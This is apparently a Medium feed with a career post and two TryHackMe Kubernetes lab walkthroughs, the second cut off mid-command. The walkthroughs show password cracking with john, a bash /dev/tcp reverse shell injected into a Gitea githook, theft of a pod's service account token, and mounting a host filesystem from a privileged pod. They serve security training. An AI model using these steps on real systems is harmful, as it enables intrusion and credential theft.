src="https://cdn-images-1.medium.com/max/886/1*Wz6eYbvrDeMq0MK_5Wr63g.png" /></figure><h4>HOST COMPROMISE</h4><p>By mounting the host’s root filesystem inside the container at /host, full access to the underlying node was achieved.</p><p>Navigating the mounted filesystem:</p><pre>ls <br>cd host<br>ls<br>cd root<br>ls -la<br>cat root.txt</pre><p>This confirmed <strong>root-level access to the host</strong>, and the root.txt flag was successfully retrieved. At this point, the attacker has unrestricted access to the host operating system, Kubernetes credentials, secrets, and all workloads running on the node.</p><h4>MITRE ATT&amp;CK for Kubernetes Mapping</h4><p>The following MITRE ATT&amp;CK for Kubernetes techniques were observed during this attack:</p><ol><li><strong><em>Initial Access</em></strong></li></ol><ul><li>Exposed Services — Publicly accessible web application and Kubernetes API</li><li>Valid Accounts — Use of leaked credentials from <strong><em>.git-credentials</em></strong></li></ul><p>2. <strong><em>Execution</em></strong></p><ul><li>Deploy Container — Creation of a malicious Kubernetes pod</li></ul><p>3. <strong><em>Privilege Escalation</em></strong></p><ul><li>Privileged Container — Deployment of a privileged pod</li><li>Host Namespace Sharing — Abuse of <strong><em>hostPID</em></strong>, <strong><em>hostNetwork</em></strong>, and <strong><em>hostIPC</em></strong></li><li>HostPath Mount — Mounting the host root filesystem</li></ul><p>4. <strong><em>Lateral Movement</em></strong></p><ul><li>Container Service Account Abuse — Ability to access cluster-wide resources</li><li>Control Plane Access — Unrestricted interaction with the Kubernetes API</li></ul><p>5. <strong><em>Persistence</em></strong></p><ul><li>Malicious Workload — Persistent privileged pod deployment</li></ul><h4>IMPACT</h4><p>This attack resulted in:</p><ul><li>Full compromise of the Kubernetes node</li><li>Complete control over the Kubernetes cluster</li><li>Ability to persist, pivot, and access all cluster secrets and workloads</li></ul><p>The root cause was a combination of:</p><ul><li>Excessive RBAC permissions (cluster-admin access)</li><li>Lack of pod security controls</li><li>Ability to deploy privileged pods with host filesystem access</li></ul><h4>CONCLUSION</h4><p>This walkthrough demonstrates how a misconfigured Kubernetes environment can be fully compromised without exploiting a software vulnerability.<br>The attack relied entirely on insecure defaults and insufficient access controls, underscoring the importance of enforcing:</p><ul><li>Least-privilege RBAC</li><li>Pod Security Admission (PSA)</li><li>Restrictions on privileged containers and hostPath volumes</li></ul><h4>Lab Reference</h4><p>This walkthrough was conducted in a controlled lab environment provided by TryHackMe.</p><p>TryHackMe Room: <a href="https://tryhackme.com/room/frankandherby">https://tryhackme.com/room/frankandherby</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c07c89b1055d" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[My DiSEP 5.0 journey]]></title>
            <link>https://medium.com/@toibatbamigboye/my-disep-5-0-journey-f7435c04c82b?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f7435c04c82b</guid>
            <category><![CDATA[disep-application]]></category>
            <category><![CDATA[free-tech-training]]></category>
            <category><![CDATA[nigerian-tech-scholarship]]></category>
            <category><![CDATA[azure-voucher]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 14:47:55 GMT</pubDate>
            <atom:updated>2025-12-16T14:55:41.395Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOY8jlD52Nl7bYYOdd6ueA.png" /></figure><p>I got accepted into DiSEP 5.0, year 2025 and I will be sharing my journey in the next few articles. The official website can be found here <a href="https://www.stanbicibtc.com/nigeriaholdings/Stanbic-IBTC-Holdings/why-we-matter/our-sponsorships/Economic-Empowerment/digital-skills-empowerment-programme">https://www.stanbicibtc.com/nigeriaholdings/Stanbic-IBTC-Holdings/why-we-matter/our-sponsorships/Economic-Empowerment/digital-skills-empowerment-programme</a></p><p>Today will be focused on the entire application process leading to final selection, and I hope anyone that may be interested later will find this useful.</p><ol><li>📖📖<strong>Open Application</strong>: The Application opened in October and was shared across social media with eligibility criteria majorly on qualification and career interests. So, you can be sure there will be a criteria list for another cohort. I dropped my application by filling the form available.</li><li>🧪🧪<strong>Online Test</strong>: I passed the application stage and was qualified to take the online test. This is usually time bound and must be taken before the deadline.</li><li>🛤️🛤️<strong>Track Selection</strong>: I passed the assessment and I was required to fill the next form. I selected my track of choice, proof of laptop ownership and also my pitch video. The pitch video was the hardest for me because I was overthinking the whole thing, but after several trials and practice, I was able to submit a good video.</li><li>🎉🎉<strong>Congratulations</strong>: 🎊🎊🎊Finally, I got my congratulatory message with my acceptance letter. Yeah, it’s a long way coming and I am very happy.</li><li>🤝🤝<strong>Invitation to the program:</strong> Official links to the induction was shared and the learning community.</li></ol><p>I know it seems like a lot but I can assure you that it is not hard, you just need to put in your best, check your mails regularly and ensure you don’t wait until the deadline before submission. Every activity is strictly time bound.</p><p>Thank you very much for reading to this point. If you have any questions, feel free to ask in the comment section and I will try my best to give you the answer.</p><p>You can subscribe to my YouTube channel where I teach what I learn and know in penetration testing/cybersecurity <a href="https://www.youtube.com/@hackwithtoibat">https://www.youtube.com/@hackwithtoibat</a></p><p>See you in the next article, bye for now 😎😎😎</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f7435c04c82b" width="1" height="1" alt="">]]></content:encoded>
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        <item>
            <title><![CDATA[Pals For Life — Tryhackme Walkthrough 2025]]></title>
            <link>https://medium.com/@toibatbamigboye/pals-for-life-tryhackme-walkthrough-2025-9b99a9fc2acc?source=rss-526ee6aefd2e------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b99a9fc2acc</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[container-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[devsecops]]></category>
            <dc:creator><![CDATA[Toibat]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 17:48:50 GMT</pubDate>
            <atom:updated>2025-12-29T16:23:42.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>How Attackers Exploit Kubernetes Misconfigurations: A Hands-On Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*3Fok8P8tgwl2QZEwAGRYJA.png" /></figure><p>Let’s hack kubernetes together 👌👌👌.</p><p>Kubernetes environments are frequently compromised through simple misconfigurations, exposed services and weak access controls. In this walkthrough, I demonstrate a realistic Kubernetes attack path from initial recon to deep access showing how an external attacker can identify and exploit common security weaknesses in a cloud-native environment</p><p>This hands-on demonstration is based on TryHackMe lab: Pals for life <a href="https://tryhackme.com/room/palsforlife">https://tryhackme.com/room/palsforlife</a> , but the techniques and attack flow closely reflect real-world kubernetes security failures observed in production environments. We are going to be abusing a misconfigured kubernetes cluster. 🙌🙌🙌🙌</p><p>You can follow the video here <a href="https://youtu.be/sue8bG47ro8?si=HYxI7hu6NrEk5AKt">https://youtu.be/sue8bG47ro8?si=HYxI7hu6NrEk5AKt</a></p><h3>Step 1: Reconnaissance</h3><blockquote>We will be using <strong>nmap </strong>to scan the machine</blockquote><p>nmap -A -p- -T4 10.10.163.30 -v</p><pre># Nmap 7.95 scan initiated Wed Nov 12 01:53:50 2025 <br>Nmap scan report for 10.10.163.30<br>Host is up (0.14s latency).<br>Not shown: 65529 closed tcp ports (reset)<br>PORT      STATE SERVICE  VERSION<br>22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 c9:f7:dd:3d:79:bb:f8:44:0f:bd:87:bd:8b:af:e1:5a (RSA)<br>|   256 4c:48:9d:c6:b4:e2:17:99:76:48:20:fe:96:d2:c8:eb (ECDSA)<br>|_  256 d8:e2:f7:ac:4d:cd:68:66:d7:a9:64:1c:42:4a:8e:30 (ED25519)<br>6443/tcp  open  ssl/http Golang net/http server<br>| http-auth: <br>| HTTP/1.1 401 Unauthorized\x0D<br>|_  Server returned status 401 but no WWW-Authenticate header.<br>| ssl-cert: Subject: commonName=k3s/organizationName=k3s<br>| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, IP Address:10.10.163.30, IP Address:10.43.0.1, IP Address:127.0.0.1, IP Address:172.30.18.136, IP Address:192.168.1.244<br>| Issuer: commonName=k3s-server-ca@1622498168<br>| Public Key type: ec<br>| Public Key bits: 256<br>| Signature Algorithm: ecdsa-with-SHA256<br>| Not valid before: 2021-05-31T21:56:08<br>| Not valid after:  2026-11-12T06:41:46<br>| MD5:   dda1:5d33:9d1d:1077:c411:8e66:b1f8:6630<br>|_SHA-1: 5a62:27b7:7ef7:e859:8b56:18b4:d593:8117:89b4:adf9<br>| fingerprint-strings: <br>|   FourOhFourRequest: <br>|     HTTP/1.0 401 Unauthorized<br>|     Cache-Control: no-cache, private<br>|     Content-Type: application/json<br>|     Date: Wed, 12 Nov 2025 07:23:27 GMT<br>|     Content-Length: 129<br>|     {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;Unauthorized&quot;,&quot;reason&quot;:&quot;Unauthorized&quot;,&quot;code&quot;:401}<br>|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq: <br>|     HTTP/1.1 400 Bad Request<br>|     Content-Type: text/plain; charset=utf-8<br>|     Connection: close<br>|     Request<br>|   GetRequest: <br>|     HTTP/1.0 401 Unauthorized<br>|     Cache-Control: no-cache, private<br>|     Content-Type: application/json<br>|     Date: Wed, 12 Nov 2025 07:23:06 GMT<br>|     Content-Length: 129<br>|     {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;Unauthorized&quot;,&quot;reason&quot;:&quot;Unauthorized&quot;,&quot;code&quot;:401}<br>|   HTTPOptions: <br>|     HTTP/1.0 401 Unauthorized<br>|     Cache-Control: no-cache, private<br>|     Content-Type: application/json<br>|     Date: Wed, 12 Nov 2025 07:23:07 GMT<br>|     Content-Length: 129<br>|_    {&quot;kind&quot;:&quot;Status&quot;,&quot;apiVersion&quot;:&quot;v1&quot;,&quot;metadata&quot;:{},&quot;status&quot;:&quot;Failure&quot;,&quot;message&quot;:&quot;Unauthorized&quot;,&quot;reason&quot;:&quot;Unauthorized&quot;,&quot;code&quot;:401}<br>|_http-title: Site doesn&#39;t have a title (application/json).<br>10250/tcp open  ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>| ssl-cert: Subject: commonName=palsforlife<br>| Subject Alternative Name: DNS:palsforlife, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.163.30<br>| Issuer: commonName=k3s-server-ca@1622498168<br>| Public Key type: ec<br>| Public Key bits: 256<br>| Signature Algorithm: ecdsa-with-SHA256<br>| Not valid before: 2021-05-31T21:56:08<br>| Not valid after:  2026-11-12T06:41:45<br>| MD5:   2b6d:48aa:f71f:bcb7:6536:c53b:2d24:dd20<br>|_SHA-1: 9082:e222:629f:d64d:0f1f:c40b:493c:b9f8:565d:bcfe<br>30180/tcp open  http     nginx 1.21.0<br>|_http-server-header: nginx/1.21.0<br>|_http-title: 403 Forbidden<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST<br>31111/tcp open  http     Golang net/http server<br>| http-methods: <br>|_  Supported Methods: GET HEAD<br>| fingerprint-strings: <br>|   GenericLines: <br>|     HTTP/1.1 400 Bad Request<br>|     Content-Type: text/plain; charset=utf-8<br>|     Connection: close<br>|     Request<br>|   GetRequest: <br>|     HTTP/1.0 200 OK<br>|     Content-Type: text/html; charset=UTF-8<br>|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647<br>|     Set-Cookie: i_like_gitea=4bcef364c44c89f4; Path=/; HttpOnly<br>|     Set-Cookie: _csrf=SlkZbrvqUTzmrfY11a6uGPMapeo6MTc2MjkzMjE3ODY3NzI5OTIwNw%3D%3D; Path=/; Expires=Thu, 13 Nov 2025 07:22:58 GMT; HttpOnly<br>|     X-Frame-Options: SAMEORIGIN<br>|     Date: Wed, 12 Nov 2025 07:22:58 GMT<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head data-suburl=&quot;&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>|     &lt;meta http-equiv=&quot;x-ua-compatible&quot; content=&quot;ie=edge&quot;&gt;<br>|     &lt;title&gt;Gitea: Git with a cup of tea&lt;/title&gt;<br>|     &lt;meta name=&quot;theme-color&quot; content=&quot;#6cc644&quot;&gt;<br>|     &lt;meta name=&quot;author&quot; content=&quot;Gitea - Git with a cup of tea&quot; /&gt;<br>|     &lt;meta name=&quot;description&quot; content=&quot;Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go&quot; /&gt;<br>|     &lt;meta name=&quot;keywords&quot; content=&quot;go,git,self-hosted,gitea<br>|   HTTPOptions: <br>|     HTTP/1.0 404 Not Found<br>|     Content-Type: text/html; charset=UTF-8<br>|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647<br>|     Set-Cookie: i_like_gitea=52841e5ae7fc2331; Path=/; HttpOnly<br>|     Set-Cookie: _csrf=C_Xjkpfrn59zIEizfeLIppYTR206MTc2MjkzMjE3OTI5MDEyMDkyMw%3D%3D; Path=/; Expires=Thu, 13 Nov 2025 07:22:59 GMT; HttpOnly<br>|     X-Frame-Options: SAMEORIGIN<br>|     Date: Wed, 12 Nov 2025 07:22:59 GMT<br>|     &lt;!DOCTYPE html&gt;<br>|     &lt;html&gt;<br>|     &lt;head data-suburl=&quot;&quot;&gt;<br>|     &lt;meta charset=&quot;utf-8&quot;&gt;<br>|     &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot;&gt;<br>|     &lt;meta http-equiv=&quot;x-ua-compatible&quot; content=&quot;ie=edge&quot;&gt;<br>|     &lt;title&gt;Page Not Found - Gitea: Git with a cup of tea&lt;/title&gt;<br>|     &lt;meta name=&quot;theme-color&quot; content=&quot;#6cc644&quot;&gt;<br>|     &lt;meta name=&quot;author&quot; content=&quot;Gitea - Git with a cup of tea&quot; /&gt;<br>|     &lt;meta name=&quot;description&quot; content=&quot;Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go&quot; /&gt;<br>|_    &lt;meta name=&quot;keywords&quot; content=&quot;<br>|_http-title: Gitea: Git with a cup of tea<br>31112/tcp open  ssh      OpenSSH 7.5 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 2b:c6:63:84:93:b8:04:ce:1c:f5:ce:c7:0e:ca:eb:28 (RSA)<br>|   256 93:6b:41:5f:89:14:97:0c:6b:53:ab:ba:af:71:f1:40 (ECDSA)<br>|_  256 e8:c4:94:7b:72:d7:4c:1c:bd:51:4a:84:81:4b:68:c9 (ED25519)<br>2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port6443-TCP:V=7.95%T=SSL%I=7%D=11/12%Time=691435D8%P=x86_64-pc-linux-g<br>SF:nu%r(GenericLines,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ<br>SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x<br>SF:20Bad\x20Request&quot;)%r(GetRequest,11A,&quot;HTTP/1\.0\x20401\x20Unauthorized\r<br>SF:\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20applicatio<br>SF:n/json\r\nDate:\x20Wed,\x2012\x20Nov\x202025\x2007:23:06\x20GMT\r\nCont<br>SF:ent-Length:\x20129\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\&quot;apiVersion\&quot;:\&quot;v1\&quot;,\&quot;<br>SF:metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;:\&quot;Unauthorized\&quot;,\&quot;rea<br>SF:son\&quot;:\&quot;Unauthorized\&quot;,\&quot;code\&quot;:401}\n&quot;)%r(HTTPOptions,11A,&quot;HTTP/1\.0\x<br>SF:20401\x20Unauthorized\r\nCache-Control:\x20no-cache,\x20private\r\nCont<br>SF:ent-Type:\x20application/json\r\nDate:\x20Wed,\x2012\x20Nov\x202025\x20<br>SF:07:23:07\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\<br>SF:&quot;apiVersion\&quot;:\&quot;v1\&quot;,\&quot;metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;<br>SF::\&quot;Unauthorized\&quot;,\&quot;reason\&quot;:\&quot;Unauthorized\&quot;,\&quot;code\&quot;:401}\n&quot;)%r(RTSPR<br>SF:equest,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/<br>SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re<br>SF:quest&quot;)%r(Help,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\<br>SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B<br>SF:ad\x20Request&quot;)%r(SSLSessionReq,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\<br>SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos<br>SF:e\r\n\r\n400\x20Bad\x20Request&quot;)%r(FourOhFourRequest,11A,&quot;HTTP/1\.0\x20<br>SF:401\x20Unauthorized\r\nCache-Control:\x20no-cache,\x20private\r\nConten<br>SF:t-Type:\x20application/json\r\nDate:\x20Wed,\x2012\x20Nov\x202025\x2007<br>SF::23:27\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\&quot;kind\&quot;:\&quot;Status\&quot;,\&quot;a<br>SF:piVersion\&quot;:\&quot;v1\&quot;,\&quot;metadata\&quot;:{},\&quot;status\&quot;:\&quot;Failure\&quot;,\&quot;message\&quot;:\<br>SF:&quot;Unauthorized\&quot;,\&quot;reason\&quot;:\&quot;Unauthorized\&quot;,\&quot;code\&quot;:401}\n&quot;)%r(LPDStri<br>SF:ng,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai<br>SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques<br>SF:t&quot;)%r(SIPOptions,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type<br>SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2<br>SF:0Bad\x20Request&quot;);<br>==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============<br>SF-Port31111-TCP:V=7.95%I=7%D=11/12%Time=691435D1%P=x86_64-pc-linux-gnu%r(<br>SF:GenericLines,67,&quot;HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2<br>SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad<br>SF:\x20Request&quot;)%r(GetRequest,2699,&quot;HTTP/1\.0\x20200\x20OK\r\nContent-Type<br>SF::\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=<br>SF:/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=4bcef364c44c89f<br>SF:4;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=SlkZbrvqUTzmrfY11a6uG<br>SF:PMapeo6MTc2MjkzMjE3ODY3NzI5OTIwNw%3D%3D;\x20Path=/;\x20Expires=Thu,\x20<br>SF:13\x20Nov\x202025\x2007:22:58\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x<br>SF:20SAMEORIGIN\r\nDate:\x20Wed,\x2012\x20Nov\x202025\x2007:22:58\x20GMT\r<br>SF:\n\r\n&lt;!DOCTYPE\x20html&gt;\n&lt;html&gt;\n&lt;head\x20data-suburl=\&quot;\&quot;&gt;\n\t&lt;meta\x<br>SF:20charset=\&quot;utf-8\&quot;&gt;\n\t&lt;meta\x20name=\&quot;viewport\&quot;\x20content=\&quot;width=d<br>SF:evice-width,\x20initial-scale=1\&quot;&gt;\n\t&lt;meta\x20http-equiv=\&quot;x-ua-compat<br>SF:ible\&quot;\x20content=\&quot;ie=edge\&quot;&gt;\n\t&lt;title&gt;Gitea:\x20Git\x20with\x20a\x20<br>SF:cup\x20of\x20tea&lt;/title&gt;\n\t&lt;meta\x20name=\&quot;theme-color\&quot;\x20content=\&quot;<br>SF:#6cc644\&quot;&gt;\n\t&lt;meta\x20name=\&quot;author\&quot;\x20content=\&quot;Gitea\x20-\x20Git\x<br>SF:20with\x20a\x20cup\x20of\x20tea\&quot;\x20/&gt;\n\t&lt;meta\x20name=\&quot;description\<br>SF:&quot;\x20content=\&quot;Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\<br>SF:x20a\x20painless\x20self-hosted\x20Git\x20service\x20written\x20in\x20G<br>SF:o\&quot;\x20/&gt;\n\t&lt;meta\x20name=\&quot;keywords\&quot;\x20content=\&quot;go,git,self-hosted<br>SF:,gitea&quot;)%r(HTTPOptions,1E87,&quot;HTTP/1\.0\x20404\x20Not\x20Found\r\nConten<br>SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2<br>SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=52841e5ae<br>SF:7fc2331;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=C_Xjkpfrn59zIEi<br>SF:zfeLIppYTR206MTc2MjkzMjE3OTI5MDEyMDkyMw%3D%3D;\x20Path=/;\x20Expires=Th<br>SF:u,\x2013\x20Nov\x202025\x2007:22:59\x20GMT;\x20HttpOnly\r\nX-Frame-Opti<br>SF:ons:\x20SAMEORIGIN\r\nDate:\x20Wed,\x2012\x20Nov\x202025\x2007:22:59\x2<br>SF:0GMT\r\n\r\n&lt;!DOCTYPE\x20html&gt;\n&lt;html&gt;\n&lt;head\x20data-suburl=\&quot;\&quot;&gt;\n\t&lt;<br>SF:meta\x20charset=\&quot;utf-8\&quot;&gt;\n\t&lt;meta\x20name=\&quot;viewport\&quot;\x20content=\&quot;w<br>SF:idth=device-width,\x20initial-scale=1\&quot;&gt;\n\t&lt;meta\x20http-equiv=\&quot;x-ua-<br>SF:compatible\&quot;\x20content=\&quot;ie=edge\&quot;&gt;\n\t&lt;title&gt;Page\x20Not\x20Found\x20<br>SF:-\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea&lt;/title&gt;\n\t&lt;meta\x2<br>SF:0name=\&quot;theme-color\&quot;\x20content=\&quot;#6cc644\&quot;&gt;\n\t&lt;meta\x20name=\&quot;author<br>SF:\&quot;\x20content=\&quot;Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\&quot;\x2<br>SF:0/&gt;\n\t&lt;meta\x20name=\&quot;description\&quot;\x20content=\&quot;Gitea\x20\(Git\x20wit<br>SF:h\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20painless\x20self-hosted\x20G<br>SF:it\x20service\x20written\x20in\x20Go\&quot;\x20/&gt;\n\t&lt;meta\x20name=\&quot;keyword<br>SF:s\&quot;\x20content=\&quot;&quot;);<br>Device type: general purpose<br>Running: Linux 4.X<br>OS CPE: cpe:/o:linux:linux_kernel:4.15<br>OS details: Linux 4.15<br>Uptime guess: 38.973 days (since Sat Oct  4 04:02:15 2025)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=261 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>From our scan we are able to identify a total of 6 open ports:</p><pre>22            SSH<br>6443          Kubernetes API server<br>10250         Kubelet API<br>30180         Nginx<br>31111         Gitea<br>31112         SSH</pre><h3>Step 2: Initial Access</h3><p>The next thing we will do is to try to access these services. We will be starting with Port <strong>30180</strong> running Nginx over Http using our web browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*nL7APDtNM_i0salwshbqAQ.png" /></figure><p>This gave us a 403 Forbidden error and the next thing we will try to do is see if we can find subdirectories using <strong><em>gobuster.</em></strong></p><p>gobuster dir --url <a href="http://10.10.163.30:30180/">http://10.10.163.30:30180/</a> -w /usr/share/wordlists/dirb/common.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyYJmSWnZYzWLn0N2eoi2Q.png" /></figure><p>We have something for us at <strong><em>/team</em></strong>, we will check it out on our browser and do the usual manual enumeration by viewing the page source (right click on the page and click on ‘view page source’).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*lz2e9w9kiNlBgDYMtg44Bg.png" /></figure><p>We get a base64 encoded data associated with a file name ‘uninteresting_file.pdf’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*7D1Fr8opMCqygonctHvsfw.png" /></figure><p>We are going to copy this base64 data and decode it. Then we will try to open it but found out that it is password protected. So we use <strong><em>john</em></strong> to crack it. <em>If this sounds alien, don’t worry just follow the steps below</em></p><p><em>ps: ensure you copy the whole string from where the red arrow (J) is pointing to</em></p><pre>#Open/create a file called uninteresting_file.txt in your terminal and paste the base64 string, save and exit. <br>nano uninteresting_file.txt<br><br>#decode the string from your terminal<br>cat uninteresting_file.txt | base64 --decode &gt; uninteresting_file.pdf<br><br>#open the file to view the content.<br>#you can also type  #open uninteresting_file.pdf<br>file uninteresting_file.pdf<br><br>#convert the file into a format johntheripper can work it<br>/usr/share/john/pdf2john.pl uninteresting_file.pdf &gt; file.txt<br><br>#use johntheripper to crack the password for the file<br>john --wordlist=/usr/share/wordlists/rockyou.txt file.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*GkQDzh5S8Sq6WPEvvoX4BQ.png" /></figure><p>Now that we have our password, we will open the file to view the content which also appears to be a password, we keep it safe and continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*XIhW5jjT9Q-cTLmwtZTcvw.png" /></figure><h3>Step 3: Logging into Gitea</h3><p>We will move on to the other http service running on port 31111. From the <em>nmap</em> scan we already know that we have Gitea running and we will go to our web browser to see how things are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*FcaB0jygD9SpC70OHOPb0g.png" /></figure><p>We will register an account, log in and look around. We notice that there is only one user called <strong><em>leeroy</em></strong> on the page and we will try to login as this user using the <em>password</em> we found earlier. Successful!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*W5ICd-FeX9tnAd93DMkZTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*alQD6Nfyz8oZyIAhTecKWw.png" /></figure><p>We will keep enumerating, go to <em>leeroy/jenkins</em>, then <em>settings</em> and find a <em>webhook</em> (click on the pencil icon to view) that has a secret. We view the page source to get the content of the secret. This is our First Flag. <br><em>ps: this is my first time doing this so I had to read up on Git and Gitea to understand what I needed to do</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*5Mq3nV9kF_xahOUSSi5qtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*45JQBKVvBlAW8Ud65oI9aw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*7tHnNqxsmRkLNpJrux91Mg.png" /></figure><h3>Step 4: Get a Reverse Shell</h3><p>The next thing we look at is the <em>Githooks</em> and see that <em>leeroy</em> has an <em>update githook</em> we can exploit.</p><pre>#check your tun0 Ip from your terminal<br>ip addr show<br><br>#start a listener from your terminal<br>nc -lnvp 4443<br><br>#Inject a reverse shell in the update hook on Gitea<br>bash -c &#39;bash -i &gt;&amp; /dev/tcp/{tun0IP}/4443 0&gt;&amp;1&#39;<br><br>--Click on &#39;update githook&#39;, go to the repository, add a description and update settings.<br>--Go to code, add a phrase to the readme file and commit the change<br>--Check your terminal, you should have a connection<br><br>#Do basic enumeration<br>whoami<br>pwd<br>ls -la /root<br><br>#we see that the flag is in the root folder and open it<br>cat /root/flag2.txt<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*wK-X3YPKTuSCCNLcMBAJvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*zCcbgMdY7grODhNQhDJuEg.png" /></figure><h3>Step 5: Pod Enumeration</h3><p>Now that we are already inside a <em>pod</em>, we enumerate further. I tried running <em>kubectl</em> but it didn’t work. I did a research on ‘<em>kubernetes pentesting playbook</em>’ and I had tons of materials to read. Luckily for me they weren’t strange because I have foundational knowledge on kubernetes.</p><pre>#enumerate for token<br>ls -la /var/run/secrets/kubernetes.io/serviceaccount<br><br>#move to the directory<br>cd /var/run/secrets/kubernetes.io/serviceaccount<br><br>#we find the token and ca.crt (optional) file to copy<br>#copy the content of the token to our local machine on another tab<br>nano token.txt<br><br>#Authenticate into the API server as the service account of this pod and check our permission<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify --server=https://10.10.163.30:6443 auth can-i --list<br><br>#We can do everything with this account so we get to work<br>#we get the namespaces<br>kubectl --token &quot;$(cat token.txt)&quot; --insecure-skip-tls-verify 